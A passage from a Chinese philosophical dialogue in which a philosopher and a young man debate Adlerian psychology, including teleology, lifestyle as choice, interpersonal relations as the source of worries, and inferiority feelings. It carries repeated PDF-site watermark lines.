话,那么活在今天的我们对人生也将会束手无策。结果会如何呢?那就
可能会陷入对世界绝望、对人生厌弃的虚无主义或悲观主义之中。以精
神创伤说为代表的弗洛伊德式的原因论就是变相的决定论,是虚无主义
的入口。你认同这种价值观吗?
青年:这一点我也不想认同。尽管不愿意认同,但过去的力量的确
see more please visit: https://homeofpdf.com
很强大啊!
哲人:我们要考虑人的潜能。假若人是可以改变的存在,那么基于
原因论的价值观也就不可能产生了,目的论自然就会水到渠成了。
青年:总而言之,您的主张还是以“人是可以改变的”为前提的吧?
哲人:当然。否定我们人类的自由意志、把人看作机器一样的存
在,这是弗洛伊德式的原因论。
青年环视了一下哲人的书房。墙壁全部做成了书架,木制的小书桌
上放着未完成的书稿和钢笔。人并不受过去的原因所左右,而是朝着自
己定下的目标前进,这就是哲人的主张。哲人所倡导的“目的论”是一种
彻底颠覆正统心理学中的因果论的思想,这对青年来说根本无法接受。
那么,该从何处破论呢?青年深吸了一口气。
see more please visit: https://homeofpdf.com
苏格拉底和阿德勒
青年:明白了。那么,我再说说另一位朋友的事情。我有位朋友Y
是一位非常开朗的男士,即使和陌生人也能谈得来。他深受大家的喜
爱,可以瞬间令周围的人展露笑容,简直是一位向日葵般的人。而我就
是一个不善与人交往的人,在与他人攀谈的时候总觉得很不自然。那
么,先生您按照阿德勒的目的论应该会主张“人可以改变”吧?
哲人:是的。我也好你也好,人人都可以改变。
青年:那么先生您认为我可以变成像Y那样的人吗?当然,我是真
心地想要变成Y那样的人。
哲人:如果就目前来讲恐怕比较困难。
青年:哈哈哈,露出破绽了吧!您是否应该撤回刚才的主张呢?
哲人:不,并非如此。我不得不遗憾地说,你还没能理解阿德勒心
理学。改变的第一步就是理解。
青年:那您是说只要理解了阿德勒心理学,我也可以变成像Y那样
的人?
哲人:为什么那么急于得到答案呢?答案不应该是从别人那里得
到,而应该是自己亲自找出来。从别人那里得到的答案只不过是对
症疗法而己,没有什么价值。
例如,苏格拉底就没有留下一部自己亲手写的著作。将他与雅典的
人们,特别是与年轻人的辩论进行整理,然后把其哲学主张写成著作留
存后世的是其弟子柏拉图。而阿德勒也是一位毫不关心著述活动,而是
热衷于在维也纳的咖啡馆里与人交谈或者是在讨论小组里与人辩论的人
物。他们都不是那种只知道闭门造车的知识分子。
青年:您是说苏格拉底和阿德勒都是想要通过对话来启发人们?
哲人:正是如此。你心中的种种疑惑都将会在我们接下来的对话中
得以解决。而且,你自己也将会有所改变,但那不是通过我的语言而是
see more please visit: https://homeofpdf.com
通过你自己的手。我想通过对话来导出答案,而不是去剥夺你自己发现
答案的宝贵过程。也就是说,我们俩要在这个小小的书房内再现苏格拉
底或阿德勒那样的对话?
青年:你不愿意吗?
哲人:岂会不愿意呢?我非常期待!那就让我们一决胜负吧!
see more please visit: https://homeofpdf.com
你想“变成别人”吗?
哲人:那么就让我们再回到刚才的辩论吧。你很想成为像Y那样更
加开朗的人,对吧?
青年:但是,先生您己经明确说这是很困难的了。实际上也是如
此。我也只是想为难一下先生才提出了这样的问题,其实我自己也知道
不可能成为那样的人。
哲人:你为何会这样认为呢?
青年:很简单,这是因为性格有别或者进一步说是秉性不同。
哲人:哦。
青年:例如,先生您与如此多的书相伴,不断地阅读新书,不断地
接受新知识,可以说知识也就会不断地积累。书读得越多,知识量也就
越大。掌握了新的价值观就会感觉自己有所改变。
但是,先生,很遗憾的是,无论积累多少知识,作为根基的秉性或
性格绝不会变!如果根基发生了倾斜,那么任何知识都不起作用。原本
积累的知识也会随之崩塌,等回过神来已经又变回了原来的自己!阿德
勒的思想也是一样。无论积累多少关于他学说的知识,我的性格都不会
改变。知识只是作为知识被积累的,很快就会失去效用!
哲人:那么我来问你,你究竟为什么想要成为Y那样的人呢?Y也
好,其他什么人也好,总之你想变成别人,其“目的”是什么呢?
青年:又是“目的”的话题吗?刚才己经说过了,我很欣赏Y,认为如
果能够变成他那样就会很幸福。
哲人:你认为如果能够像他那样就会幸福。也就是说,你现在不幸
福,对吗?
青年:啊……!!
哲人:你现在无法体会到幸福,因为你不会爱你自己。而且,为了
能够爱自己,你希望“变成别人”,希望舍弃现在的自我变成像Y—样的
see more please visit: https://homeofpdf.com
人。我这么说没错吧?
青年:……是的,的确如此!我承认我很讨厌自己!讨厌像现在这
样与先生您讨论落伍哲学的自己!也讨厌不得不这样做的自己!
哲人:没关系。面对喜不喜欢自己这个问题,能够坦然回答“喜
欢”的人几乎没有。
青年:先生您怎么样呢?喜欢自己吗?
哲人:至少我不想变成别人,也能悦纳目前的自己。
青年:悦纳目前的自己?
哲人:不是吗?即使你再想变成Y,也不可能成为Y,你不是Y。你
是“你”就可以了。
但是,这并不是说你要一直这样下去。如果不能感到幸福的话,就
不可以“一直这样”,不可以止步不前,必须不断向前迈进。
青年:您的话很严厉,但非常有道理。我的确不可以一直这样,必
须有所改进。
哲人:我还要再次引用阿德勒的话。他这么说:“重要的不是被给
予了什么,而是如何去利用被给子的东西。”你之所以想要变成Y或者
其他什么人,就是因为你只一味关注着“被给予了什么”。其实,你
不应该这样,而是应该把注意力放在“如何利用被给予的东西”这一点
上。
see more please visit: https://homeofpdf.com
你的不幸,皆是自己“选择”的
青年:不,不,这不可能。
哲人:为什么不可能?
青年:有人拥有富裕而善良的父母,也有人拥有贫穷而恶毒的父
母,这就是人世。此外,我本不想说这样的话,但这个世界本来就不公
平,人种、国籍或者民族差异依然是个难以解决的问题。关注“被给予
了什么”也是理所当然的事情!先生,您的话只是纸上谈兵,根本是在
无视现实世界!
哲人:无视现实的是你。一味执著于“被给予了什么”,现实就会改
变吗?我们不是可以更换的机械。我们需要的不是更换而是更新。
青年:对我来说,更换也好、更新也好,都是一样的事情!先生您
总是避重就轻。不是吗?这个世界存在着天生的不幸。请您先承认这一
点。
哲人:我不承认。
青年:为什么?!
哲人:比如现在你感觉不到幸福。有时还会觉得活得很痛苦,甚至
想要变成别人。但是,现在的你之所以不幸正是因为你自己亲手选择了
“不幸”,而不是因为生来就不幸。。
青年:自己亲手选择了不幸?这种话怎么能让人信服呢?!
哲人:这并不是什么无稽之谈。这是自古希腊时代就有的说法。你
知道“无人想作恶”这句话吗?一般它都是作为苏格拉底的悖论而为人们
所了解的一个命题。
青年:想要作恶的人不是有很多吗?强盗或者杀人犯自不必说,就
连政治家或者官员的不良行为也属此列。应该说,不想为恶的清廉纯洁
的善人很难找吧。
see more please visit: https://homeofpdf.com
哲人:行为之恶的确有很多。但无论什么样的犯罪者,都没有因为
纯粹想要作恶而去干坏事的,所有的犯罪者都有其犯罪的内在的“相应
理由”。假设有人因为金钱纠纷而杀了人。即使如此,对其本人来说也
是有“相应理由”的行为,换句话说就是“善”的行动。当然,这不是指道
德意义上的善,而是指“利己”这一意义上的善。
青年:为自己?
哲人:在希腊语中,“善”这一词语并不包含道德含义,仅仅有“有
好处”这一层含义;另一方面,“恶”这一词语也有“无好处”的意义。这
个世界上充斥着违法或犯罪之类的种种恶行。但是,纯粹意义上想要
做“恶=没好处的事”的人根本没有。
青年:……这跟我的事有什么关系呢?
哲人:你在人生的某个阶段里选择了“不幸”。这既不是因为你生在
了不幸的环境中,也不是因为你陷入了不幸的境地中,而是因为你认
为“不幸”对你自身而言是一种“善”。
青年:为什么?这又是为了什么呢?
哲人:对你而言的“相应理由”是什么呢?为什么自己选择了“不
幸”呢?我也不了解其中的详细缘由,也许我们在对话中会逐渐弄清楚
这一点。
青年:……先生,您是想要骗我吧!您还不承认吗?这种哲学我绝
对不会认可!
青年忍不住从椅子上站了起来,对眼前的哲人怒目而视。你竞然说
这种不幸的人生是我自己选择的?还说那是对我而言的“善”?这是什么
谬论啊!你为什么要如此愚弄我呢?我究竟做什么了?我一定要驳倒
你。让你拜服在我的脚下。青年的脸眼看着红了起来。
see more please visit: https://homeofpdf.com
人们常常下定决心“不改变”
哲人:请坐下。如果这样的话,意见不合也很正常。在这里,我首
先要简单说明一下辩论的基础部分,也就是阿德勒心理学如何理解人的
问题。
青年:要简略!拜托您一定要简略!
哲人:刚才你说“人的性格或秉性无法改变”。而另一方面,阿德勒
心理学中用“生活方式”一词来说明性格或秉性。
青年:生活方式?
哲人:是的,人生中思考或行为的倾向。
青年:思考或行为的倾向?
哲人:某人如何看“世界”,又如何看“自己”,把这些“赋予意义的
方式”汇集起来的概念就可以理解为生活方式。从狭义上来讲可以理解
为性格:从广义上来说,这个词甚至包含了某人的世界观或人生观。
青年:世界观?
哲人:我们假设有一个人正在为“我的性格是悲观的”而苦恼,我们
可以试着把他的话换成“我具有悲观的’世界观‘”。我认为问题不在于自
己的性格,而在于自己所持有的世界观。性格一词或许会带有“不可改
变”这一感觉,但如果是世界观的话,那就有改变的可能性。
青年:不,还是有点难吧。这里所说的生活方式是不是很接近“生
存方式”呢?
哲人:可能也有这种表达方式。如果说得更准确一些,应该是“人
生的状态”的意思。你一定会认为秉性或性格不会按照自己的意志而改
变。但阿德勒心理学认为,生活方式是自己主动选择的结果。
青年:自己主动选择的结果?
哲人:是的。是你自己主动选择了自己的生活方式。
see more please visit: https://homeofpdf.com
青年:也就是说,我不仅选择了“不幸”,就连这种奇怪的性格也是
自己一手选择的?
哲人:当然。
青年:哈哈……无论怎么说,您这种论调都太勉强了。当我注意到
的时候,我就己经是这种性格了,根本不记得有什么选择行为。先生您
也是一样吧?可以自由选择自己的性格,这不是无稽之谈吗?
哲人:当然,并不是有意地选择了“这样的我”,最初的选择也许是
无意识的行为。并且,在选择的时候,你再三提到的外部因素,也就是
人种、国籍、文化或者家庭环境之类的因素也会产生很大的影响。即便
如此,选择了“这样的我”的还是你自己。
青年:我不明白您的意思。到底在什么时候做了选择呢?
哲人:阿德勒心理学认为大约是在10岁左右的时候。
青年:那么,退一百步,不,退二百步讲,假设10岁的我无意识地
选择了那种生活方式。但是,那又如何呢?说是性格也好、秉性也好,
或者说是生活方式也好,反正我已经是“这样的我”了。事态又不会有什
么改变。
哲人:这不可能。假若生活方式不是先天被给予的,而是自己选择
的结果,那就可以由自己进行重新选择。
青年:重新选择?
哲人:也许你之前并不了解自己的生活方式。而且,也许你连生活
方式这个概念都不知道。当然,谁都无法选择自己的出身。出生在什么
样的国家、什么样的时代,有什么样的父母,这一切都不是自己的选
择。
而且,这些都具有极大的影响力,你也许会有不满,也许会对别人
的出身心生羡慕。
但是,事情不可以仅止于此。问题不在于过去而在于现在。现在你
了解了生活方式。如果是这样的话,接下来的行为就是你自己的责任
了。无论是继续选择与之前一样的生活方式还是重新选择新的生活方
see more please visit: https://homeofpdf.com
式,那都在于你自己。
青年:那么如何才能够重新选择呢?并不是一句“因为是你自己选
择了那种生活方式,所以现在马上重新选择”就可以马上改变的吧!
哲人:不,不是你不能改变。人无论在何时也无论处于何种环境中
都可以改变。你之所以无法改变,是因为自己下了“不改变”的决心。
青年:您说什么?
哲人:人时常在选择着自己的生活方式,即使像现在这样促膝而谈
的瞬间也在进行着选择。你把自己说成不幸的人,还说想要马上改变,
甚至说想要变成别人。尽管如此还是没能改变,这是为什么呢?那是因
为你在不断地下着不改变自己生活方式的决心。
青年:不不不,这完全讲不通。我很想改变。这是千真万确的真
心。既然如此又怎会下定不改变的决心呢?!
哲人:尽管有些不方便、不自由,但你还是感觉现在的生活方式更
好,大概是觉得一直这样不做改变比较轻松吧。
如果一直保持“现在的我”,那么如何应对眼前的事情以及其结果会
怎样等问题都可以根据经验进行推测,可谓是轻车熟路般的状态。即使
遇到点状况也能够想办法对付过去。
另一方面,如果选择新的生活方式,那就既不知道新的自己会遇到
什么问题,也不知道应该如何应对眼前的事情。未来难以预测,生活就
会充满不安,也可能有更加痛苦、更加不幸的生活在等着自己。也就是
说,即使人们有各种不满,但还是认为保持现状更加轻松、更能安心。
青年:您是说想要改变但又害怕改变?
哲人:要想改变生活方式需要很大的“勇气”。面对变化产生的“不
安”与不变带来的“不满”,你一定是选择了后者。
青年:……现在您又用了“勇气”这个词啊。
哲人:是的,阿德勒心理学就是勇气心理学。你之所以不幸并不是
因为过去或者环境,更不是因为能力不足,你只不过是缺乏“勇气”,可
see more please visit: https://homeofpdf.com
以说是缺乏“获得幸福的勇气”。
see more please visit: https://homeofpdf.com
你的人生取决于“当下”
青年:获得幸福的勇气……
哲人:还需要进一步说明吗?
青年:不,请等一等。我好像有点儿乱了。首先,先生您说世界很
简单,它之所以看上去复杂是因为“我”的主观作用。人生本来并不复
杂,是“我”把人生弄得复杂化了,故而很难获得幸福,您是这个意思
吗?
而且,您还说应该立足于目的论而不是弗洛伊德的原因论;不可以
从过去中找原因;要否定精神创伤:人不是受过去原因支配的存在,人
是为了达成某种目的而采取行动的。这些都是您的主张吧?
哲人:是的。
青年:并且您还说目的论的一大前提就是“人可以改变”,而人们时
常在选择着自己的生活方式。
哲人:的确如此。
青年:我之所以无法改变正是因为我自己不断下定“不要改变”的决
心。我缺乏选择新的生活方式的勇气,也就是缺乏“获得幸福的勇气”。
正因为这样,我才会不幸。我以上的理解没有错吧?
哲人:没错。
青年:如此一来,问题就变成了“怎样才能改变生活方式”这一具体
策略。这一点您并未说明。
哲人:的确。你现在首先应该做的是什么呢?那就是要有“摈弃现
在的生活方式”的决心。
例如,你刚才说“如果可以变成Y那样的人就能够幸福”。但像这样
活在“如果怎样怎样”之类的假设之中,就根本无法改变。因为“如
果可以变成Y那样的人”正是你为自己不做改变找的借口。
see more please visit: https://homeofpdf.com
青年:为不做改变的自己找的借口?
哲人:我有一位年轻朋友,虽然梦想着成为小说家,但却总是写不
出作品。他说是因为工作太忙、写小说的时间非常有限,所以才写不出
来作品,也从未参加过任何比赛。
但真是如此吗?实际上,他是想通过不去比赛这一方式来保留一
种“如果做的话我也可以”的可能性,即不愿出去被人评价,更不愿去面
对因作品拙劣而落选的现实。他只想活在“只要有时间我也可以、只要
环境具备我也能写、自己有这种才能”之类的可能性中。或许再过5年或
者10年,他又会开始使用“已经不再年轻”或者“也已经有了家庭”之类的
借口。
青年:……他的心情我非常了解。
哲人:假若应征落选也应该去做。那样的话或许能够有所成长,或
许会明白应该选择别的道路。总之,可以有所发展。所谓改变现在的生
活方式就是这样。如果一直不去投稿应征,那就不会有所发展。
青年:梦也许会破灭啊!
哲人:但那又怎样呢?应该去做——这一简单的课题摆在面前,但
却不断地扯出各种“不能做的理由”,你难道不认为这是一种很痛苦的生
活方式吗?梦想着做小说家的他,正是“自己”把人生变得复杂继而难以
获得幸福。
青年:……太严厉了。先生的哲学太严厉了!
哲人:或许是烈性药。
青年:的确是烈性药!
哲人:但是,如果要改变对世界或自己的看法(生活方式)就必须
改变与世界的沟通方式,甚至改变自己的行为方式。请不要忘记“必须
改变”的究竟是什么。你依然是“你”,只要重新选择生活方式就可以
了。虽然可能是很严厉的道理,但也很简单。
青年:不是这样的,我所说的严厉不是这个意思!听了先生您的
话,会让人产生“精神创伤不存在,与环境也没有关系;一切都是自身
see more please visit: https://homeofpdf.com
出了问题,你的不幸全都因为你自己不好”之类的想法,感觉就像之前
的自己被定了罪一般!
哲人:不,不是定罪。阿德勒的目的论是说:“无论之前的人生发
生过什么,都对今后的人生如何度过没有影响。”决定自己人生的是活
在“此时此刻”的你自己。
青年:您是说我的人生决定于此时此刻?
哲人:是的,因为根本不在于过去。
青年:……好吧。先生,我不能完全同意您的主张,我还有很多不
能接受和想要反驳的地方。但同时您的话也值得思考,而且我也想要进
一步学习阿德勒心理学。今晚我就先回去了,下周什么时候再来打扰
您。今天若再继续下去,我的脑袋都要炸啦。
哲人:好的,你也需要一个人思考的时间。我什么时候都在这个房
间里,你随时可以来。谢谢你今天的到来,我期待着我们下一次的辩
论。
青年:最后我还要说一句。今天因为辩论太过激烈,所以我也许说
了一些失礼的话,非常抱歉!
哲人:我不会在意的。你可以回去读一读柏拉图的对话篇。苏格拉
底的弟子们都是在用非常直率的语言和态度在与苏格拉底进行讨论。对
话原本就应该这样。
see more please visit: https://homeofpdf.com
第二夜 一切烦恼都来自人际关系
青年非常守约,刚好一个星期之后再次来到哲学家的书房。其实他
自上次回去两三天之后就迫不及待地想要过来。但深思熟虑之后,青年
的疑问变成了确信。也就是说,目的论之类的学说只是一种诡辩,精神
创伤确实存在。人既不可能忘记过去,也不可能从过去中解放出来。他
今天就要把那位怪异的哲学家驳得体无完肤,一切争论都将在今天结
束。
see more please visit: https://homeofpdf.com
see more please visit: https://homeofpdf.com
为什么讨厌自己?
青年:先生,上次之后我冷静地想了很多,但还是不能同意先生的
主张。
哲人:哦,哪里有疑问呢?
青年:例如,前几日我承认自己讨厌自己,无论如何都只能看到缺
点,实在找不到喜欢自己的理由。但是,我也很想能够喜欢自己。
先生您什么都用“目的”来进行解释,那您说说我讨厌自己究竟有什
么目的、有什么利益呢?讨厌自己不会有任何好处吧?
哲人:的确。你感觉自己没有任何优点,只有缺点。不管事实如
何,就是这样感觉。也就是自我评价非常低。问题是,为什么会那么自
卑,为什么会那么低估自己呢?
青年:那是因为事实上我本来就没有什么优点。
哲人:不对。之所以只看到缺点是因为你下定了“不要喜欢自己”的
决心。为了达到不要喜欢自己的目的,所以你才只看缺点而不看优点。
首先请你理解这一点。
青年:下定不要喜欢自己的决心?
哲人:是的。因为不去喜欢自己是一种对你而言的“善”。
青年:到底为什么?为了什么?
哲人:这也许就要问你自己了。你究竟认为自己有什么缺点呢?
青年:先生也许已经注意到了。首先要说的就是我这性格——对自
己没有自信,对一切都持悲观态度;还有就是太过固执;非常注重别人
的看法,而且总是活在对别人的怀疑之中;不能活得自然,总觉得像是
在演戏。而且,如果只是性格倒还好,自己的长相和身材也没有一样让
人满意的。
哲人:如果像这样继续议论缺点的话,心情会怎样呢?
see more please visit: https://homeofpdf.com
青年:您可真是残忍啊!那当然会不愉快啦!谁都不愿意和如此乖
僻的人交往吧。如果我身边有这么一个自卑而又麻烦的人,我也会不喜
欢他。
哲人:的确,结论似乎已经出来了。
青年:是什么?
哲人:如果以你为例不好理解的话,那我就举一个别人的例子。我
也曾在这个书房里进行过简单的心理辅导。那己经是多年前的事情了,
那时来了一位女学生。是的,她当时就坐在你现在坐的这把椅子上。
她的苦恼是害怕见人,一到人前就脸红,说是无论如何都想治好这
种脸红恐惧症。所以我便问她:“如果这种脸红恐惧症治好了,你想做
什么呢?”于是,她告诉我说自己有一个想要交往的男孩。虽然偷偷喜
欢着那个男孩,但她还没能表明心意。她还说一旦治好脸红恐惧症,就
马上向他告白,希望能够交往。
青年:哎呀,多好啊!很符合女学生的话题。为了向意中人告白,
首先必须治好脸红恐惧症。
哲人:事情果真如此吗?我的判断是并非如此。为什么她会患上脸
红恐惧症呢?又为什么总是治不好呢?那是因为她自己“需要脸红这一
症状”。
青年:不不,您在说什么呢?她不是说非常希望能治好吗?
哲人:你认为对她来说最害怕的事情、最想逃避的事情是什么呢?
当然是被自己喜欢的男孩拒绝了,是失恋可能带来的打击和自我否定。
因为青春期的失恋在这方面的特征非常明显。
但是,只要有脸红恐惧症存在,她就可以用“我之所以不能和他交
往都是因为这个脸红恐惧症”这样的想法来进行自我逃避,如此便可以
不必鼓起告白的勇气或者即使被拒绝也可以说服自己;而且,最终也可
以抱着“如果治好了脸红恐惧症我也可以……”之类的想法活在幻想之
中。
青年:那么您是说她是为了给无法告白的自己找一个借口或者是怕
see more please visit: https://homeofpdf.com
被拒绝才捏造了“脸红恐惧症”。
哲人:直率地说就是如此。
青年:有意思,真是有意思的解释。但是,如果真是这样的话,那
岂不是根本没办法治好吗?那不就是她一方面需要“脸红恐惧症”,另一
方面又为其苦恼吗?烦恼永远不会消失。
哲人:所以,我跟她进行了下面的对话。
“脸红恐惧症这样的病很好治。”
“真的吗?”
“但我不会给你治。”
“为什么?”
“因为你是靠着脸红恐惧症才能让自己接受对自我或者社会的不满
以及不顺利的人生。你还要用’这都是因为脸红恐惧症‘之类的话来安慰
自己呢。”
“怎么……”
“但是,如果我给你治好了脸红恐惧症,事态也没有任何变化的
话,那你会怎么做呢?你一定会再次跑来对我说’请让我再患上脸红恐
惧症‘吧。那我可就真的束手无策了。”
青年:哦。
哲人:这种情况不只限于她。考生会想“如果考中的话人生就会一
片光明”,公司职员则会想“如果能够改行的话一切都会顺利发展”。但
是,很多情况下即使那些愿望实现了,事态也不会有太大的变化。
青年:的确。
哲人:当有人上门求治“脸红恐惧症”的时候,心理咨询师绝对不可
以为其治疗,如果那样做的话就更难康复了。这就是阿德勒心理学的主
张。
see more please visit: https://homeofpdf.com
青年:那么,具体怎样做呢?听了病人的烦恼后就放置不管吗?
哲人:她对自己没有自信,始终抱着“如果这样,即使告白也肯定
会被拒绝,到时候就会更加没有自信”这样的恐惧心理,所以才会制造
出脸红恐惧症这样的问题来。我所能做的就是首先让其接受“现在的自
己”,不管结果如何,首先让其树立起向前迈进的勇气。阿德勒心理学
把这叫作“鼓励”。
青年:鼓励?
哲人:是的。关于其具体内容,在接下来的辩论中我会进行系统的
说明。现在还不到这个阶段。
青年:只要您会详细作出说明就好。“鼓励”这个词我先记下了……
那么,最后她怎么样了呢?
哲人:与朋友一起和那个男孩出去玩儿,最终那个男孩先向她告白
了。当然,她再也没到这个书斋来过,我也不知道她的脸红恐惧症后来
如何了。但是,我想她大概不再需要了吧。
青年:肯定不再需要了。
哲人:是的。那么,接下来我们根据她的事情来考虑一下你的问
题。你说你现在只能看到自己的缺点,根本无法喜欢自己。而且你还说
过“谁都不愿意跟我这种乖僻的人交往”吧?
就这些吧。你为什么讨厌自己呢?为什么只盯着缺点就是不肯去喜
欢自己呢?那是因为你太害怕被他人讨厌、害怕在人际关系中受伤。
青年:那是怎么回事呢?
哲人:就像有脸红恐惧症的她害怕被男性拒绝一样,你也很害怕被
他人否定。害怕被别人轻视或拒绝、害怕心灵受伤。你认为与其陷入那
种窘境倒还不如一开始就不与任何人有关联。也就是说,你的“目
的”是“避免在与他人的关系中受伤”。
青年:……
哲人:那么,如何实现这种目的呢?答案很简单。只要变成一个只
see more please visit: https://homeofpdf.com
看自己的缺点、极其厌恶自我、尽量不涉入人际关系的人就可以了。如
此一来,只要躲在自己的壳里就可以不与任何人发生关联,而且万一遭
到别人的拒绝,还可以以此为理由来安慰自己。心里就会想:因为我有
这样的缺点才会遭人拒绝,只要我没有这个缺点也会很讨人喜欢。
青年:……哈哈,还真被您一语道破了!
哲人:不可以岔开话题。保持满是缺点的“这样的自己”对你来说是
一种不可替代的“善”,也就是说“有好处”。
青年:啊!这个恶魔!你简直是一个恶魔!是的,就是这样!我很
害怕,不想在人际关系中受伤,非常害怕自己被人拒绝和否定!我承认
的确如此!
哲人:承认就是很了不起的态度。但是,请你不要忘记,在人际关
系中根本不可能不受伤。只要涉入人际关系就会或大或小地受伤,也会
伤害别人。阿德勒曾说“要想消除烦恼,只有一个人在宇宙中生存”。但
是,那种事情根本就无法做到。
see more please visit: https://homeofpdf.com
一切烦恼都是人际关系的烦恼
青年:请等一下!这句话我必须问清楚,“要想消除烦恼,只有一
个人在宇宙中生存”是什么意思?如果只有一个人生活的话,势必会被
强烈的孤独感所困扰吧?
哲人:之所以感觉孤独并不是因为只有你自己一个人,感觉自己被
周围的他人、社会和共同体所疏远才会孤独。我们要想体会孤独也需要
有他人的存在。也就是说,人只有在社会关系中才会成为“个人”。
青年:如果真的成为一个人,也就是只有一个人活在宇宙中的话,
那就既不是“个人”,也感觉不到孤独了吗?
哲人:那样的话恐怕连孤独这个概念都不会存在。既不需要语言,
也不需要逻辑和常识(共通感觉)。但是,这种事情根本不可能发生。
即使是在无人岛上生活,也会想到遥远的海对岸的“某人”;即使在一个
人的夜晚,也会侧耳静听某人睡眠中的呼吸声。只要在某个地方存在着
那个某人,孤独就会袭来。
青年:但是,刚才的话如果换种说法也就成了“如果能够一个人生
存在宇宙中的话,烦恼就会消失”,是这样吗?
哲人:按道理来讲,是这样的。因为阿德勒甚至断言“人的烦恼皆
源于人际关系”。
青年:您究竟在说什么?
哲人:我再重复一遍:“人的烦恼皆源于人际关系。”这是阿德勒心
理学的一个基本概念。如果这个世界没有人际关系,如果这个宇宙中没
有他人只有自己,那么一切烦恼也都将消失。
青年:不可能!这只不过是学者的诡辩而已!
哲人:当然,我们不可能让人际关系消失。人在本质上必须以他人
的存在为前提,根本不可能做到与他人完全隔离。正如你所说的,“如
果能够一个人生存在宇宙中”这一前提根本不可能成立。
青年:我说的不是这个问题!人际关系的确是一个很大的问题,这
see more please visit: https://homeofpdf.com
一点我也认可。但是,一切烦恼皆源于人际关系这种论调也太极端了!
独立于人际关系之外的烦恼、个体内心的苦闷、自我难解的苦恼等,难
道您要否定这一切烦恼吗?!
哲人:仅止于个人的烦恼,即所谓的“内部烦恼”根本不存在。任何
烦恼中都会有他人的因素。
青年:先生,您还是哲学家吗?!人还有比人际关系更加高尚、更
加重大的烦恼!幸福是什么?自由是什么?而人生的意义又是什么?这
些不都是自古希腊时代以来,哲学家们一直追问的主题吗?而您刚才说
人际关系就是一切烦恼之源?这是多么庸俗的答案啊!哲学家们听了一
定会惊讶不已!
哲人:看来我的确需要说明得再具体一些。
青年:是的,请您说明一下!如果先生说自己是哲学家的话,那就
必须把这一点解释清楚!
哲人如是说:你由于太惧怕人际关系所以才会变得讨厌自己,你是
在通过自我厌弃来逃避人际关系。这种话大大动摇了青年。这是让他不
得不承认的一针见血的话。但是,在他看来,“人的一切烦恼皆源于人
际关系”这种主张还是得坚决否定。阿德勒是在将人所拥有的问题缩小
化。青年认为自己并不是苦恼于这种世俗性的烦恼!
see more please visit: https://homeofpdf.com
自皁感来自主观的臆造
哲人:那么,关于人际关系我们换个角度来谈。你知道自卑感这个
词吗?
青年:这可真是个无聊的问题。从我前面的话中您也应该明白我是
一个极其自卑的人啊。
哲人:那你具体有什么样的自卑感呢?
青年:例如,在报纸上看到同龄人活跃的姿态时,我就会感到极其
自卑。生活在同一时代的人那么活跃,而自己究竟在做什么呢;或者是
看到朋友过得幸福,不是想要祝福而是心生嫉妒或者非常焦躁。当然,
我也不喜欢自己这张满是粉刺的脸,对于学历、职业以及年收入等社会
境况也抱有强烈的自卑感。哎呀,总之就是哪里都很自卑。
哲人:明白了。顺便说一下,在咱们谈论的这种语境中第一个使
用“自卑感”这个词的人是阿德勒。
青年:哦,这我倒还真不知道。
哲人:在阿德勒所使用的德语中,劣等感的意思就是价值更少
的“感觉”。也就是说,劣等感是一个关于自我价值判断的词语。
青年:价值判断?
哲人:是一种“自己没有价值或者只有一点儿价值”之类的感觉。
青年:啊……如果是那种感觉的话,我非常明白。我就是那样。我
几乎每天都自责地想:自己或许连活着的价值都没有。
哲人:那么,我也说一下我自身的自卑感吧。你刚见我的时候有什
么印象呢?我是指在身体特征方面。
青年:嗯……这个嘛……
哲人:你不必有顾虑,请直率地说出来。
see more please visit: https://homeofpdf.com
青年:说实话,您的身材比我想象中小。
哲人:谢谢。我的身高是155厘米。据说阿德勒也是跟我差不多的
身高。我曾经——直到你这个年纪之前——一直苦恼于自己的身高。我
心中一直在想:如果我拥有正常的身高,如果再长高20厘米,不,哪怕
是再长高10厘米,一切就会不同,就会拥有更愉快的人生。当我把这种
想法告诉朋友的时候,他断然告诉我说:“这种想法太无聊了!”
青年:他太厉害啦!是个什么样的人呀?
哲人:他接着说:“长高干什么呢?你可有让人感觉轻松的本事
啊!”的确,高大强壮的男性本身就会给人一种震慑感;而另一方面,
矮小的我却能让对方放下警惕心理。看来个子矮小无论是对周围人来说
还是对自己来说,都有好处呢!这就是价值的转换。现在的我已经不会
再为自己的身高而烦恼了。
青年:噢。但是,那……
哲人:请你先听我说完。这里的关键点是,我155厘米的身高并不
是“劣等性”。
青年:不是劣等性?
哲人:事实上,问题不在于有所欠缺。155厘米的身高只是一个低
于平均数的客观测量数字而已。乍看之下也许会被认为是劣等性。但
是,问题在于我如何看待这种身高以及赋予它什么样的价值。
青年:什么意思?
哲人:我对自己身高的感觉终究还是在与他人的比较——也就是人
际关系——中产生的一种主观上的“自卑感”。如果没有可以比较的他人
存在,我也就不会认为自己太矮。你现在也有各种“自卑感”并深受其苦
吧?但是,那并不是客观上的“劣等性”,而是主观上的“自卑感”。即使
像身高这样的问题也可以进行主观性的还原。
青年:也就是说,困扰我们的自卑感不是“客观性的事实”而是“主
观性的解释”?
哲人:正是如此。我从朋友“你有让人感觉轻松的能力”这句话中得
see more please visit: https://homeofpdf.com
到了启发,于是就产生了这样的想法:如果从“让人感觉轻松”或者“不
让人感觉太有威慑力”之类的角度来看,自己的身高也还可以成为一种
优点。当然,这是一种主观性的解释。说得更确切一些,就是一种主观
臆想。
但是,主观有一个优点,那就是可以用自己的手去选择。把自己的
身高看成是优点还是缺点,这全凭你自己主观决定。正因为如此,我才
可以自由选择。
青年:就是您前面所说的重新选择生活方式吧?
哲人:是的。我们无法改变客观事实,但可以任意改变主观解释。
并且,我们都活在主观世界中。这一点在刚开始时我就说过了。
青年:是的,就是18度的井水那个话题。
哲人:关于这一点请想一想德语中“自卑感”的意思。我之前说过,
在德语中“自卑感”是一个关于自我价值判断的词语。那么,价值究竟是
指什么呢?
例如,价格昂贵的钻石或者货币。我们会从中发现一些价值,并会
说1克拉多少钱或者物价如何如何。但是,如果换种角度来看,钻石之
类的东西也只不过是石块而已。
青年:哎呀,道理上来讲……
哲人:也就是说,价值必须建立在社会意义之上。即使1美元纸币
所承载的价值是一种常识(共通感觉),那它也不是客观意义上的价
值。
如果从印刷成本考虑的话,它根本不等于1美元。
如果这个世界上只有我一个人存在,那我也许会把这1美元的纸币
放入壁炉当燃料或者当卫生纸用。同样的道理,我自然也就不会再为自
己的身高而苦恼。
青年:……如果这个世界上只有我一个人存在?
哲人:是的。也就是说,价值问题最终也可以追溯到人际关系上。
see more please visit: https://homeofpdf.com
青年:这样就又可以与“一切烦恼皆源于人际关系”这种说法联系起
来了吧?
哲人:正是如此。
see more please visit: https://homeofpdf.com
自卑情结只是一种借口
